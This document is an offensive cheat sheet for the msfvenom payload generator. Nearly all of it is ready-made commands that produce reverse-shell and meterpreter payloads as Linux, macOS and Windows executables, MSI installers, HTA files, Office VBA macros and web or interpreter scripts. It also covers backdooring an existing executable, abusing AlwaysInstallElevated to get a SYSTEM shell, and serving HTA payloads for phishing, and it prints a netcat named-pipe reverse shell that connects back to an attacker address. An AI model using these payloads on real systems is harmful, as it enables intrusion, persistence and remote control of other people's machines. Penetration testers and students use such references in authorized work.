msfvenom is a tool to create custom versions of Metasploit payloads, encoded into a variety of different binary formats and scripts. For example:

# Use Metasploit to generate the code for a remote shell:
#
msfvenom -p cmd/unix/reverse_netcat \
            lhost=$LOCAL_IP lport=$LOCAL_PORT
 
# Spin up a listener using netcat:
#
nc -lvp $LOCAL_PORT

This will generates code that looks like this:

mkfifo /tmp/qdsrgu; \
nc $LOCAL_IP $LOCAL_PORT 0</tmp/qdsrgu | \
	/bin/sh >/tmp/qdsrgu 2>&1; \
rm /tmp/qdsrgu

What’s going on here?

  • mkfifo /tmp/qdsrgu creates a named pipe at /tmp/qdsrgu.
  • We then spin up a netcat instance directed at our local machine (nc $LOCAL_IP $LOCAL_PORT), direct the contents of the pipe into netcat’s STDIN (0< /tmp/qdsrgu), pipe the output of netcat to a shell we know probably exists (| /bin/sh), and finally redirect both STDOUT and STDERR back into the named pipe (> /tmp/qdsrgu 2>&1).
  • On the local machine, nc -lvp $LOCAL_PORT listens for the incoming netcat connection from the remote. Anything we type on STDIN here gets sent to the remote and piped to /bin/sh there. The output of /bin/sh is then sent to the named pipe, which dumps into (the remote) netcat, which then sends the data to the local machine where it ends up on STDOUT.

Use --list formats to see available encoding formats. In general, shell scripts can always be produced by specifying -f raw and an output file with the appropriate extension.

Linux ELF executables

How to exploit Linux ELF executables with msfvenom

# 32-bit Linux ELF meterpreter payload
#
msfvenom -p linux/x86/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f elf -o ${NAME}
Link to original

macOS MACH-O executables

How to exploit macOS MACH-O executables with msfvenom

# 32-bit macOS MACH-O meterpreter payload
#
msfvenom -p osx/x86/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f macho -o ${NAME}
Link to original

Windows executables

How to exploit Windows executables with msfvenom

# 64-bit Windows executable meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe -o ${NAME}.exe
 
# 64-bit Windows SERVICE executable (note that these require
# additional API calls to work, beyond what `-f exe` provides)
#
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe-service -o ${NAME}.exe
 
# Add a meterpreter backdoor to an existing executable
#
msfvenom -a x64 --platform windows -x $ORIGINAL_EXE -k \
	-p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-b "\x00" -f exe -o $BACKDOORED_EXE

Note that by default msfvenom produces 64-bit executables when using the -f exe. This doesn’t work, however, if you’re trying to replace a program in Program Files (x86). In this case, you’ll need to explicitly instruct msfvenom to encode a 32-bit binary using -e x86/shikata_ga_nai.

Link to original

MSI installers

How to exploit Windows MSI installers with msfvenom

If AlwaysInstallElevated is set to 1 under both of the following registry keys, then MSI installers will run as SYSTEM.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generate a malicious MSI file with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f msi -o ${NAME}.msi

Then install on the target to get a shell:

msiexec /quiet /qn /i $INSTALLER.msi
Link to original

HTML applications

How to exploit Windows HTML applications with msfvenom

msfvenom can be used to generate HTA refer shells.

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f hta-psh -o ${NAME}.hta

Catch with the standard nc -lvp $ATTACKER_PORT netcat command.

Metasploit can do all of this automatically for us via exploit/windows/misc/hta_server. Critical variables to set:

  • LHOST — the host IP address to connect back to
  • LPORT — the port to connect back to
  • SRVHOST — the host IP address to serve the malicious file on
  • payload — the Metasploit payload to use

In quick-and-dirty cases LHOST and SRVHOST will be the same, though in more sophisticated operations (i.e., if you’re separating phishing and C2 IPs) they will be different. The payload variable is particularly useful, as you can use something like windows/meterpreter/reverse_tcp and get a meterpreter shell, rather than just a plain reverse shell!

Note that you may have to hit “Return” once the file is served to get back to the Metasploit prompt.

Link to original

VBA scripts

How to exploit VBA scripts with msfvenom

Metasploit’s msfvenom can create VBA payloads, as one might expect. Despite WSH not wanting to pop cmd.exe or other executables (outside of calc.exe), a meterpreter reverse shell actually works! (That said, it will die when Word does, and thus needs to be migrated to a new process ASAP…)

msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f vba -o ${NAME}.vba

To work, the VBA output must be copied into a Microsoft Office document as a macro. By default msfvenom will use the Workbook_Open() function; this is suitable for Excel, but must be changed to Document_Open() for Word.

Link to original

Bash scripts

How to exploit shell scripts with msfvenom

# Bash meterpreter payload
#
msfvenom -p cmd/unix/reverse_bash \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.sh
Link to original

Python scripts

How to exploit Python scripts with msfvenom

# Python meterpreter payload
#
msfvenom -p cmd/unix/reverse_python \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.py
Link to original

Perl scripts

How to exploit Perl scripts with msfvenom

# Perl meterpreter payload
#
msfvenom -p cmd/unix/reverse_perl \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.pl
Link to original

PHP scripts

How to exploit PHP scripts with msfvenom

# PHP meterpreter payload
#
msfvenom -p php/meterpreter_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.php
Link to original

ASP scripts

How to exploit ASP scripts with msfvenom

# ASP meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f asp -o ${NAME}.asp
Link to original

JSP scripts

How to exploit JSP Scripts with msfvenom

# JSP meterpreter payload
#
msfvenom -p java/jsp_shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.jsp
Link to original